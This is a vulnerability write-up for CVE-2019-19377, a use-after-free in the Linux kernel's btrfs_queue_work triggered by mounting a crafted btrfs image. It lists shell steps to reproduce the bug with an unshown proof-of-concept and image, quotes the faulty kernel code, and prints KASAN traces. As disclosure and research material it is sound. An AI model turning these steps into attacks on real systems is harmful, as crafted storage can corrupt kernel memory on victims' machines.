Overview
Unmounting after some operations (with a crafted image) can cause a use-after-free in the btrfs_queue_work function. It can be triggered not only locally (mounting a btrfs image in a local shell) but also remotely (mounting a corrupted USB or other storage carrying a crafted btrfs image).
Target
Linux Kernel btrfs filesystem.
| Linux Version | Availablity |
|---|---|
| 5.0.21 | True |
Bug type: use-after-free.
Reproduce
gcc -o poc poc_2019_19377.c
mkdir mnt
mount poc_2019_19377.img ./mnt
cp poc ./mnt/
cd mnt
./poc
cd ..
umount ./mntRoot cause
fs/btrfs/async-thread.c:367 (link)
void btrfs_queue_work(struct btrfs_workqueue *wq,
struct btrfs_work *work)
{
struct __btrfs_workqueue *dest_wq;
if (test_bit(WORK_HIGH_PRIO_BIT, &work->flags) && wq->high)
dest_wq = wq->high;
else
dest_wq = wq->normal;
__btrfs_queue_work(dest_wq, work);
}fs_info->workers (struct btrfs_workqueue *wq) is already freed.
Debugger / KASAN
Debugger view — the parameter wq is freed (wq->high causes the use-after-free):
─────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff81aeddbc → btrfs_queue_work(wq=0xffff888067cf6840, work=0xffff8880676e4d28)
[#1] 0xffffffff81a4151d → btrfs_wq_submit_bio(...)
[#2] 0xffffffff81a4171c → btree_submit_bio_hook(...)
[#3] 0xffffffff81ab130e → submit_one_bio(...)
[#4] 0xffffffff81ab1d7c → flush_write_bio(...)
[#5] 0xffffffff81ac5aeb → btree_write_cache_pages(...)
[#6] 0xffffffff81436a2c → do_writepages(...)
[#7] 0xffffffff815c10f3 → __writeback_single_inode(...)
[#8] 0xffffffff815c356d → writeback_single_inode(...)
[#9] 0xffffffff815c3955 → write_inode_now(...)
gef➤ p &wq->high
$5 = (struct __btrfs_workqueue **) 0xffff888067cf6848
On exec poc — WARNING (trimmed to the relevant frames):
[ 267.165168] WARNING: CPU: 1 PID: 1045 at fs/btrfs/extent-tree.c:7046 __btrfs_free_extent.isra.71+0xa16/0x1130
[ 267.165168] CPU: 1 PID: 1045 Comm: kworker/u4:5 Not tainted 5.0.21 #1
[ 267.165168] Workqueue: events_unbound btrfs_async_reclaim_metadata_space
[ 267.165168] Call Trace:
[ 267.165168] __btrfs_run_delayed_refs+0x1236/0x3100
[ 267.165168] btrfs_run_delayed_refs+0x1b6/0x390
[ 267.165168] flush_space+0x5fa/0xde0
[ 267.165168] btrfs_async_reclaim_metadata_space+0x451/0x1260
[ 267.165168] process_one_work+0x580/0x1210
[ 267.165168] worker_thread+0x8a/0xfc0
[ 267.165168] kthread+0x2a9/0x390
[ 267.165168] ret_from_fork+0x35/0x40
[ 267.165168] ---[ end trace ae8f476daf11ea95 ]---
...
[ 267.224076] BTRFS error (device loop0): unable to find ref byte nr 29376512 parent 0 root 7 owner 0 offset 0
[ 267.243654] BTRFS: error (device loop0) in __btrfs_free_extent:7052: errno=-2 No such entry
[ 267.246314] BTRFS info (device loop0): forced readonly
On umount — use-after-free (trimmed to the relevant frames):
[ 272.825171] ==================================================================
[ 272.825171] BUG: KASAN: use-after-free in btrfs_queue_work+0x2c1/0x390
[ 272.825171] Read of size 8 at addr ffff888067cf6848 by task umount/1922
[ 272.825171] CPU: 0 PID: 1922 Comm: umount Tainted: G W 5.0.21 #1
[ 272.825171] Call Trace:
[ 272.825171] dump_stack+0x5b/0x8b
[ 272.825171] kasan_report+0x13a/0x19b
[ 272.825171] btrfs_queue_work+0x2c1/0x390
[ 272.825171] btrfs_wq_submit_bio+0x1cd/0x240
[ 272.825171] btree_submit_bio_hook+0x18c/0x2a0
[ 272.825171] submit_one_bio+0x1be/0x320
[ 272.825171] flush_write_bio.isra.41+0x2c/0x70
[ 272.825171] btree_write_cache_pages+0x3bb/0x7f0
[ 272.825171] do_writepages+0x5c/0x130
[ 272.825171] __writeback_single_inode+0xa3/0x9a0
[ 272.825171] writeback_single_inode+0x23d/0x390
[ 272.825171] write_inode_now+0x1b5/0x280
[ 272.825171] iput+0x2ef/0x600
[ 272.825171] close_ctree+0x341/0x750
[ 272.825171] generic_shutdown_super+0x126/0x370
[ 272.825171] kill_anon_super+0x31/0x50
[ 272.825171] btrfs_kill_super+0x36/0x2b0
[ 272.825171] deactivate_locked_super+0x80/0xc0
[ 272.825171] deactivate_super+0x13c/0x150
[ 272.825171] cleanup_mnt+0x9a/0x130
[ 272.825171] task_work_run+0x11a/0x1b0
[ 272.825171] exit_to_usermode_loop+0x107/0x130
[ 272.825171] do_syscall_64+0x1e5/0x280
[ 272.825171] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 272.825171] Allocated by task 1889:
[ 272.825171] __kasan_kmalloc+0xd5/0xf0
[ 272.825171] btrfs_alloc_workqueue+0x54/0x280
[ 272.825171] open_ctree+0x2c30/0x7065
[ 272.825171] btrfs_mount_root+0xc94/0x1060
[ 272.825171] Freed by task 1922:
[ 272.825171] __kasan_slab_free+0x132/0x180
[ 272.825171] kfree+0x99/0x1c0
[ 272.825171] btrfs_stop_all_workers+0x8e/0x3e0
[ 272.825171] close_ctree+0x300/0x750
[ 272.825171] The buggy address belongs to the object at ffff888067cf6840
[ 272.825171] which belongs to the cache kmalloc-16 of size 16
[ 272.825171] ==================================================================
Details
CVSS 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), CWE-416, published 2019-11-29, last modified 2024-11-21.
Attribution
Found as part of the Best of the Best (BoB) 8th bobfuzzer team project — a five-person team that ported the JANUS file-system fuzzer. This is team work, not sole authorship.